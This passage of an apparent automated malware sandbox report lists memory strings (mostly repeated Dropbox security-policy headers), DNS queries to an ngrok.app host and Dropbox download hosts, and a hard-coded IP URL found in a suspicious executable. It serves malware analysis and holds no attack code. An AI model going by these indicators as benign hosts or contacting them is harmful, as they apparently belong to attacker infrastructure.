https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https://* blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' ; font-src https://* data: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-ancestors 'self' https://.dropbox.com ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ZPolicy: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; img-src https://* data: blob: ; font-src https://* data: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' ; media-src https:// blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; img-src https://* data: blob: ; font-src https://* data: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' ; media-src https:// blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: frame-ancestors 'self' https://.dropbox.com ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; media-src https://* blob: ; img-src https://* data: blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: img-src https://* data: blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; font-src https:// data: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' ; media-src https://* blob: ; frame-ancestors 'self' https://.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2EE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; font-src https:// data: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' ; media-src https://* blob: ; frame-ancestors 'self' https://.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: om/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https://* blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' ; font-src https://* data: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-ancestors 'self' https://.dropbox.com ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https://* blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' ; font-src https://* data: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-ancestors 'self' https://.dropbox.com ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Content-Length: 207Content-Type: text/html; charset=utf-8Date: Mon, 16 Dec 2024 15:14:47 GMTServer: Werkzeug/3.0.3 Python/3.12.8Connection: close

Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://222.234.221.194:8088/fott_coin/new_fott/x2coin/member_check.asp
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1890101191.000038B00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1890101191.000038B00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1890101191.000038B00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
